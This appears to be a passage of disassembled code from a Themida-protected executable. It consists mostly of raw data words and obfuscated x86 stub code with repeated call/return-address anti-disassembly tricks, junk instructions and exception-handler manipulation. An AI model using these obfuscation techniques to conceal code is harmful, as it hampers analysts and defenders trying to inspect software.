5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B6C35343h dd 6E99D39Eh, 9E9917Fh, 0 dd 18A2ACB6h, 651828FFh, 6A10CEC1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C773C350h dd 0B0775C70h, 2D798CB7h, 728966F8h, 56006A02h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0D7F7AD4h dd 0F04CD1Ch, 186h, 0A7E9F800h, 60000000h, 0BE9h, 0F31C3400h dd 0EA7025E0h, 0A539AFA8h, 3DF4D081h, 0F611DE0h, 189h dd 858BF800h, 616779Dh, 19860Fh, 14E90000h, 2000000h, 8AFB2137h dd 60A5AE26h, 0A237BD94h, 9C39C401h, 8D5B83F1h, 167739B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 69269F39h, 657C8148h, 8DF59EBDh, 16448385h dd 17850F06h, 0F000000h, 1180h, 0CE900h, 9450000h, 0AB77DD40h dd 6F3D8671h, 0D0FFBA2Ch, 0C840Fh, 8B0F0000h, 6, 870Fh dd 85890000h, 6166FC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F1C35747h, 0CE91Ah, 37E50000h, 6A38DBDAh dd 4F9DE351h db 0FBh, 0E8h ; --------------------------------------------------------------------------- loc_5B397A: ; CODE XREF: Themida_:005B35D1j popa push 0 push ebp call sub_5B3986 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3986 proc near ; CODE XREF: Themida_:005B397Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B3986 endp ; --------------------------------------------------------------------------- dw 0B1EFh ; --------------------------------------------------------------------------- mov eax, [ebp+6166FC7h] push 0 push ebx call sub_5B39A9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B39A9 proc near ; CODE XREF: Themida_:005B39A1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5B39A9 endp ; --------------------------------------------------------------------------- sal ch, 60h sbb di, 0F71Eh sbb esi, 5302F3D1h popa retn ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B39D4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B39D4 proc near ; CODE XREF: Themida_:005B39CCp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B39D4 endp ; --------------------------------------------------------------------------- dd 2F2BA31Eh, 9DE03B35h, 0E852607Eh, 0Bh, 0B6A56C88h, 444926FFh dd 5BDEAF17h, 60FC615Eh, 0A9F08160h, 0F2A684Ah, 18Dh, 8361F900h dd 16779DBDh, 850F0006h, 39h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0D503EAEDh, 7E93BB5h dd 0F9000000h, 0CCBD3324h, 85C785E6h, 616779Dh, 1013Fh dd 7E9FCh, 820F0000h, 1, 20CDF9h, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 6166FCFh, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 6166FCBh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 6166FC7h, 8B04EBh, 8B61C5EBh, 166FC785h, 8F0FCF06h dd 0Ch, 68D0Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5B3ACB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3ACB proc near ; CODE XREF: Themida_:005B3AC3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B3ACB endp ; --------------------------------------------------------------------------- xor al, 1 jnb loc_5B3AE4 cld loc_5B3AE4: ; CODE XREF: Themida_:005B3ADDj mov eax, eax jmp loc_5B3EEB ; --------------------------------------------------------------------------- align 4 dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_5B3EEB: ; CODE XREF: Themida_:005B3AE6j jmp loc_5B4F9B ; --------------------------------------------------------------------------- jge loc_5B3EFC sub [ebp+6130061h], eax loc_5B3EFC: ; CODE XREF: Themida_:005B3EF0j stc mov eax, [ebp+61307C9h] push 0 push edx call sub_5B3F0E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3F0E proc near ; CODE XREF: Themida_:005B3F06p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5B3F0E endp ; --------------------------------------------------------------------------- adc [ebx-42582EBCh], esp cmc cmp [esp+4], eax jnz loc_5B3F80 jnb loc_5B3F3C jle loc_5B3F3C cld loc_5B3F3C: ; CODE XREF: Themida_:005B3F2Fj ; Themida_:005B3F35j cmp dword ptr [ebp+6131505h], 0 jz loc_5B3F80 xor [ebp+6131985h], eax lea eax, [ebp+6133AADh] push 0 push esi call sub_5B3F60 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3F60 proc near ; CODE XREF: Themida_:005B3F58p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B3F60 endp ; --------------------------------------------------------------------------- dd 0E0FFB720h, 6890Fh, 95890000h, 6131B29h ; --------------------------------------------------------------------------- loc_5B3F80: ; CODE XREF: Themida_:005B3F29j ; Themida_:005B3F43j mov eax, [ebp+61310D1h] push 0 push ebp call sub_5B3F91 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3F91 proc near ; CODE XREF: Themida_:005B3F89p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5B3F91 endp ; --------------------------------------------------------------------------- pushf dec dword ptr [ecx+eax*4+6434DED8h] cmp [esp+4], eax jnz loc_5B3FF4 push 0 push esi call sub_5B3FBE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3FBE proc near ; CODE XREF: Themida_:005B3FB6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B3FBE endp ; --------------------------------------------------------------------------- or edx, ebp add [ebp+6130B91h], eax mov dword ptr [ebp+6167C1Dh], 1 jmp loc_5B3FF4 ; --------------------------------------------------------------------------- mov ds:3FECB0C6h, al xchg eax, esi and eax, 0C1968396h sub bl, [ecx-62h] lodsb loc_5B3FF4: ; CODE XREF: Themida_:005B3FADj ; Themida_:005B3FE0j pusha push 0 push edi call sub_5B4000 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4000 proc near ; CODE XREF: Themida_:005B3FF8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5B4000 endp ; --------------------------------------------------------------------------- sbb eax, [ecx] add edi, edx jmp loc_5B4041 ; --------------------------------------------------------------------------- push 0 push eax call sub_5B4024 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4024 proc near ; CODE XREF: Themida_:005B401Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5B4024 endp ; --------------------------------------------------------------------------- dd 14E11D4Ch, 5EADFB32h, 21h db 0 ; --------------------------------------------------------------------------- loc_5B4041: ; CODE XREF: Themida_:005B4014j mov eax, 1 loc_5B4046: ; CODE XREF: Themida_:005B404Ej xchg eax, [ebp+6167D73h] or eax, eax jnz short loc_5B4046 push dword ptr [ebp+61311E1h] pop dword ptr [ebp+6167C15h] push 20h push 0FFFFFFFFh call dword ptr [ebp+6130D09h] cmp dword ptr [ebp+61334A1h], 0 jz short loc_5B4077 push 0 call dword ptr [ebp+6130DA9h] loc_5B4077: ; CODE XREF: Themida_:005B406Dj cmp dword ptr [ebp+61322C1h], 1 jz short loc_5B408D push 80h push 0FFFFFFFFh call dword ptr [ebp+6130D09h] loc_5B408D: ; CODE XREF: Themida_:005B407Ej pusha movsx eax, bx push eax mov [ebp+6132165h], edi pop ebx popa jmp loc_5B40B0 ; --------------------------------------------------------------------------- db 4Fh dd 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h ; --------------------------------------------------------------------------- loc_5B40B0: ; CODE XREF: Themida_:005B409Aj mov eax, 0 push 0 push edx call sub_5B40C0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B40C0 proc near ; CODE XREF: Themida_:005B40B8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B40C0 endp ; --------------------------------------------------------------------------- dd 0BD896456h, 6131CE1h, 68A0Fh, 0B5890000h, 61301C5h dd 2824548Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 69C35242h, 0F5C9469Ah, 6E9h, 360B7800h, 891AB606h dd 132BC585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 91118387h, 8D3113C1h, 6130619h, 3CBEh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8D2996F6h, 6131D3Dh, 24247403h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E6C35242h, 3869B607h dd 0A253B878h, 1A6D8589h, 8D0F0613h, 0Eh, 9E9h, 92A87700h dd 34D1B342h, 0AD662E91h, 0BE9h, 0CDADD800h, 2B4C1A1Ch dd 0CB9FB466h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0B7C35242h, 0FC8F39E9h, 1DC7362Ah, 0CE960BAh dd 62000000h, 50AC2C69h, 6898037Fh, 890EE9D2h, 1316458Dh dd 0F906106h, 88Bh, 2830F00h, 60000000h, 0F605061h, 281h dd 61616000h, 408BF990h, 51006A78h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0E82A963Ah, 839EE147h dd 167C1DBDh, 850F0006h, 0DEh, 5E9h, 4E35A800h, 0E9503157h dd 9, 25605CABh, 62EF1CF0h, 240489E1h, 24448BFCh, 51006A2Ch dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 8529F593h, 6130F01h, 60525050h, 0AE95B51h, 2A000000h dd 0C51D4835h, 754D3FE9h, 310F613Ah, 52505250h, 585A310Fh dd 0EE9310Fh, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h dd 5A585A31h, 24048958h, 23E19589h, 858D0613h, 6164B4Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 2C35242h dd 0F8C8811Ch, 17398D29h, 0D0FF0613h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 63C35747h, 1F87D7C6h, 8FC78857h dd 9E59D09h, 44030613h, 6A2824h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0BBF59C3h, 0EF26CDBFh dd 8D29604Ch, 6130AE9h, 2C099589h, 8B610613h, 6A1840h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 7016EEC3h, 25CB0F75h, 19840FF9h, 0E9000000h, 14h, 9294DF88h dd 1AA11296h, 0E26236DFh, 71A82CA5h, 0BCDE5065h, 55006A40h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 2A3F103Dh, 36AB86B7h, 0E8F0Fh, 0F600000h, 87h, 19BD0300h dd 6106130Fh, 7C198589h, 6A0616h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0F960C8C3h, 24399D89h dd 0E9610613h, 0Dh, 90229DFCh, 6315DBBDh, 0B35CCCD3h, 896058CBh dd 131E39BDh, 0AEEB8106h, 6173D0BAh, 1BB5B589h, 708B0613h dd 45BD2978h, 8306132Ah, 6A1CC6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 1E3A2AC3h, 0A23A6639h dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 16744705h, 0F8F515AEh, 24247C81h, 10000000h dd 0D6870Fh, 85010000h, 6131F91h, 52506050h, 0B866310Fh dd 585A847Dh, 1F9074BAh, 4896171h, 0EE924h, 0A0CD0000h dd 0EA3EC897h, 0D5962F76h, 9E3B5BEAh, 2824448Bh, 413ABE60h dd 85895C92h, 6130E45h, 52505061h, 0BB585360h, 30364C58h dd 60310F61h, 0A5BF5F51h, 617634F1h, 489585Ah, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 89D1996Ch, 1306C59Dh, 21958906h, 8D06130Fh, 164B4C85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0D0FF11F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0DCC35747h, 0A9C0B323h, 6800Fh, 0BD290000h dd 6133201h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0FE4C5F0Eh, 29504F4Ch, 131DED8Dh dd 81666006h, 2BB2FBC6h, 13252995h, 74036106h, 0AE92424h dd 84000000h, 296BE6BAh, 0F61735E3h, 0C1BD8D60h, 6A061318h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 6A47C351h, 9691946h, 0C9D288DCh, 60F5ADF9h dd 3161B529h, 0EE90613h, 0E000000h, 0C7E3B394h, 0A751E660h dd 2E43063Dh, 7C8161E9h, 2424h, 870F1000h, 0D3h, 0C810Fh dd 8E0F0000h, 6, 0F59501h, 8B600613h, 132BCD85h, 60506106h dd 8B6640B7h, 48961C6h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 3F58B12Ah, 10D239A2h dd 8B607F5Ah, 130CF985h, 448B6106h, 6A2824h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 58E984C3h dd 2F427687h, 8501BA22h, 613204Dh, 6E990h, 18560000h, 22118253h dd 13820F50h, 0E9000000h, 0Eh, 1990DE5Ch, 0C2B46B43h, 0E2FE8A43h dd 0E9907EE9h, 0Ah, 0D6A6F456h, 15DE1B36h, 858D40A8h, 6164B4Ch dd 1069B589h, 0D0FF0613h, 58F0F60h, 66000000h, 0DE7CCF81h dd 36130B5h, 0FC242444h, 0FA81F9ABh, 10000h, 6E7820Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 171D12C3h, 0A28C0A0Eh, 95013DB8h, 6130F91h dd 951BD8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 3135C3h, 5195890Dh, 0AD061313h dd 1890Fh, 81F50000h, 24247Ch, 0F100000h, 0CC87h, 0E950F500h dd 8, 614E175Dh, 0EDBBA115h, 0F240489h, 680h, 0C5958900h dd 8B061307h, 29282444h, 131EB1BDh, 14E99006h, 0C2000000h dd 0CB8171ECh, 1D8558C7h, 83AE9C60h, 0D29258AEh, 50EFE4BBh dd 0DE960h, 40F40000h, 993B2CDEh, 60319586h, 663960A0h dd 615A21B8h, 14E990h, 226C0000h, 24B2D189h, 0BA7AA1F2h dd 0A7035CBCh, 0A67A854Fh, 858D21CCh, 6164B4Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1DC35747h, 7D0D4666h dd 7FD4B99Dh, 7DB589E7h, 0FF06131Ah, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 9C2CC59h, 130921B5h dd 24440306h, 75B58924h, 50061329h, 0F605250h, 85h, 10BA6600h dd 310F6118h, 0CE8B6660h, 5A615852h, 24048958h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h, 0C7E5879Dh dd 0B8D4E4C2h, 50006AABh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 822D09A8h, 0F6C935Bh dd 689h, 0C9852900h, 89061304h, 132B6985h, 55BD8D06h, 6A06131Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0E9BFC350h, 0Bh, 38B87774h, 77747621h dd 0AD2138B8h, 21A98D89h, 7C810613h, 2824h, 870F1000h dd 10Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 1CC35040h, 800F506Ch, 19h, 14E9h, 63B82800h, 0F7E443C4h dd 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 24048915h, 0F5CB8B60h dd 24448B61h, 0E19D092Ch, 9006131Ah, 14E95250h, 0E8000000h dd 21866D22h, 8DA85874h, 0EBC1B9D0h, 0DD71F070h, 0F3C9D7Eh dd 61606031h, 50585A61h, 0E8C78B60h, 0Ah, 0E66F37E0h, 0B856A1F6h dd 52502A91h, 585A310Fh, 6A906158h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0E9CCC355h dd 89FCF5B0h, 1331B585h, 4C858D06h, 6A06164Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0F578C355h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F8341DC3h, 0EE9h, 360E4B00h, 20169E43h dd 86A4974h, 34C7151h, 89282444h, 132049BDh, 8800F06h dd 60000000h, 34A0BB66h, 0AB61FDB5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 3BC35242h, 0F91C1A4Ch, 978534Eh dd 130D9D95h, 0DE906h, 0CCFD0000h, 77383EA6h, 9ED7179Ch dd 5EC9AE82h, 7C198DFFh, 0BD830616h, 6167C19h, 330A7500h dd 0B3B58DC0h, 0FF06168Ah, 81AD56E6h, 28247Ch, 77100000h dd 448B500Eh, 8D502C24h, 164B4C85h, 3D0FF06h, 97282444h dd 858ADF8Bh, 6167C15h, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2BC585FFh dd 5DE90613h, 5EFFFFFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 36C35646h, 0F761A067h, 8BE18A6Ch, 48B0Fh dd 53600000h, 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 1944ABC3h, 0EDC475CFh, 3160B099h dd 1305959Dh, 10E906h, 0B1D60000h, 950667ACh, 5F5851B1h dd 0C0553716h, 8B611BFBh, 132BC585h, 65B58906h, 0D1061301h dd 11E9E0h, 906D0000h, 0B463A8FEh, 3D370EFAh, 0A954C516h dd 0F08E257h, 68Eh, 0E1852900h, 3061323h, 131B5585h, 0E7816006h dd 44554301h, 2A6D8589h, 2B610613h, 6A96F8F6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0E921C352h, 0Ah, 5151E804h, 7FFDDF8h, 860F24C9h, 1 dd 6AAD66FCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0C0B9C350h, 7E9h, 0D0A2F400h dd 99679504h, 22800Fh, 8B600000h, 1311998Dh, 14E806h, 2B4A0000h dd 36FA0C14h, 0DB8A0E97h, 0FCCCF348h, 55FDE3F1h, 615F9BFEh dd 0F02E0C1h, 684h, 7D8D0100h, 3061300h, 1318C185h, 5E906h dd 79650000h, 0FC76F934h, 11E96096h, 40000000h, 0B2DDDD36h dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 870FAD61h, 0Ch, 68E0Fh dd 0B5890000h, 6130BD1h, 24247C81h, 10000000h, 0D0870Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 8F643DC3h, 902BA271h, 0BE9h, 0D54D9F00h dd 7A46CD5Fh, 0A36E7519h, 0EE96050h, 0AF000000h, 56720090h dd 0E4E18D4Bh, 1E84B9EDh, 0F906143h, 0E8Fh, 958B6000h dd 6130D49h, 10718D03h, 8B610613h, 0E9282444h, 9, 4CB6E04Eh dd 0D39F0C07h, 0BF609008h, 5E336577h, 0DDED11BAh, 0E9506122h dd 0Ch, 5112A638h, 50F30C3Bh, 0D161B2BCh, 99858990h, 8D061316h dd 164B4C85h, 0DE906h, 24DE0000h, 85661A5Eh, 0A1D5071Bh dd 0FF170AFBh, 840F60D0h, 13h, 0DE8h, 36965E00h, 804E94DBh dd 0B7B16393h, 8B5EF057h, 131EF9B5h, 44036106h, 6A2424h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0EA94D7C3h, 89FE7CE4h, 130C318Dh, 24448906h, 0AD85011Ch dd 0C6061320h, 1311E185h, 85C70006h, 6167D73h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+6167C1Dh], 0 push 0 push ebp call sub_5B4DAD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4DAD proc near ; CODE XREF: Themida_:005B4DA5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B4DAD endp ; --------------------------------------------------------------------------- push 71850160h adc al, 13h push es popa popa cmc retn 8 ; --------------------------------------------------------------------------- mov [ebp+6132071h], edi mov eax, [ebp+61318C1h] pusha mov ebx, 2D68B002h mov ecx, edx popa dec edx push 0 push ecx call sub_5B4DEC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4DEC proc near ; CODE XREF: Themida_:005B4DE4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5B4DEC endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- pop ecx popf mov ebp, 8509F186h add eax, 6B06131Ch rol byte ptr [edi+ecx], cl lea ecx, ds:60000000h sub dx, 0D82Bh jo $+6 popa add eax, edx push 0 push eax call sub_5B4E2B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4E2B proc near ; CODE XREF: Themida_:005B4E23p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5B4E2B endp ; --------------------------------------------------------------------------- dec edx and al, [edi] mov dl, 4Ah pusha add ebx, 641F4B03h or ch, 0E2h popa jmp loc_5B4E5E ; --------------------------------------------------------------------------- dd 0D46E0CE8h, 974BF0CAh, 0C3368ECDh db 0CFh, 0FFh ; --------------------------------------------------------------------------- loc_5B4E5E: ; CODE XREF: Themida_:005B4E4Bj xchg eax, esi push 0 push eax call sub_5B4E6A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4E6A proc near ; CODE XREF: Themida_:005B4E62p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B4E6A endp ; --------------------------------------------------------------------------- dw 0BF3Eh ; --------------------------------------------------------------------------- js loc_5B4E94 jmp loc_5B4E94 ; --------------------------------------------------------------------------- db 6Dh dd 9F676B44h, 4EA91D44h, 0B9E55903h ; --------------------------------------------------------------------------- loc_5B4E94: ; CODE XREF: Themida_:005B4E7Cj ; Themida_:005B4E82j cmc lodsd push 0 push ebx call sub_5B4EA1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4EA1 proc near ; CODE XREF: Themida_:005B4E99p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5B4EA1 endp ; --------------------------------------------------------------------------- db 93h, 24h, 3Dh dd 93487BF5h, 0E995246Bh, 11h, 27C9D8A2h, 7F4F41F4h, 0DD9A16C8h dd 5E332F59h, 247C81EFh, 24h, 9B870F10h, 89000000h, 130A699Dh dd 11E906h, 47B80000h, 0A1378231h, 0D06C65C5h, 0D6F4C6EEh dd 50FBAE64h, 0CE9h, 985FFA00h, 0BADA3444h, 0F08DC89Ch dd 24048934h, 24448BFCh, 5090F528h, 6840F52h, 0F000000h dd 82h, 60310F00h, 810F6160h, 0 ; --------------------------------------------------------------------------- popa pop edx pop eax push eax pusha mov cl, 0F2h mov bx, 97C7h popa nop pusha and si, 16E3h jmp loc_5B4F5B ; --------------------------------------------------------------------------- dd 0D5C8D434h, 2B3C782Ch, 0A50C35B6h, 967F3D16h db 65h, 3Fh, 0E9h ; --------------------------------------------------------------------------- loc_5B4F5B: ; CODE XREF: Themida_:005B4F43j popa lea eax, [ebp+6164B4Ch] pusha push esi sub [ebp+613062Dh], eax pop eax mov ebx, [ebp+6130771h] popa call eax xor [ebp+6130581h], edi jmp near ptr dword_5B48D0+482h ; --------------------------------------------------------------------------- push 0 push ecx call sub_5B4F8A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4F8A proc near ; CODE XREF: Themida_:005B4F82p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B4F8A endp ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- loc_5B4F9B: ; CODE XREF: Themida_:loc_5B3EEBj lea eax, [ebp+6168F5Eh] pusha adc ax, 685Fh mov esi, [ebp+6132535h] popa push eax pusha mov dx, 32Bh push eax mov edi, edx pop edx popa mov [esp], eax jmp loc_5B4FD1 ; --------------------------------------------------------------------------- db 0F9h, 43h, 8Bh dd 0C1670DE0h, 0E643689h, 0C6DAB8F9h db 38h ; --------------------------------------------------------------------------- loc_5B4FD1: ; CODE XREF: Themida_:005B4FBCj push large dword ptr fs:0 push 0 push edx call sub_5B4FE3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4FE3 proc near ; CODE XREF: Themida_:005B4FDBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B4FE3 endp ; --------------------------------------------------------------------------- inc ebx or [eax+0EE9h], dh add [ebp-597F6416h], dl push 3Fh add al, 1Ah and al, 5Ah fstp tbyte ptr [eax+24048B5Ch] push 0 push esi call sub_5B5017 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5017 proc near ; CODE XREF: Themida_:005B500Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B5017 endp ; --------------------------------------------------------------------------- pop ss mov cs:[ebp+6131D51h], eax pusha jz loc_5B503B add ax, 1D4Dh loc_5B503B: ; CODE XREF: Themida_:005B5030j or esi, 4BC4BCABh popa mov large fs:0, esp sub [ebp+6131BE1h], ebx lea eax, [ebp+6168DD2h] jbe loc_5B5061 mov [ebp+6133021h], ecx loc_5B5061: ; CODE XREF: Themida_:005B5055j mov [eax+1], esp or [ebp+613092Dh], edx jmp loc_5B507C ; --------------------------------------------------------------------------- inc ecx retf ; --------------------------------------------------------------------------- db 7, 85h, 0E2h dd 8660A79Eh, 4CDFF07Eh ; --------------------------------------------------------------------------- loc_5B507C: ; CODE XREF: Themida_:005B506Aj jmp loc_5B5255 ; --------------------------------------------------------------------------- pusha mov [ebp+6131FD1h], edi mov esi, 76B8423Bh popa mov ebx, ebx call $+5 pop ebp sub ebp, 6168DCBh mov esp, 12FF9Ch cmp dword ptr [ebp+61322C1h], 0 jz short loc_5B50C2 mov eax, [ebp+6130F55h] mov byte ptr [eax], 0 mov eax, [ebp+613206Dh] mov byte ptr [eax], 0 call dword ptr [ebp+6131CBDh] loc_5B50C2: ; CODE XREF: Themida_:005B50A8j pusha push dword ptr [ebp+6167821h] lea eax, [ebp+6167825h] push eax lea eax, [ebp+6167A1Dh] push eax call dword ptr [ebp+6131185h] add esp, 0Ch popa jmp loc_5B50EE ; --------------------------------------------------------------------------- dw 3DBh dd 0A3677F54h db 42h, 0DAh ; --------------------------------------------------------------------------- loc_5B50EE: ; CODE XREF: Themida_:005B50E1j push 0 push ebx call sub_5B50F9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B50F9 proc near ; CODE XREF: Themida_:005B50F1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B50F9 endp ; --------------------------------------------------------------------------- db 0C4h, 0CEh, 27h ; --------------------------------------------------------------------------- mov ds:574D4182h, eax cmpsb add [ebp+613141Dh], ebx pusha mov dx, 8270h sbb edi, 5C2DE576h popa clc lea esi, [ebp+6167A1Dh] mov [ebp+613169Dh], ecx lea edi, [ebp+6132609h] pusha 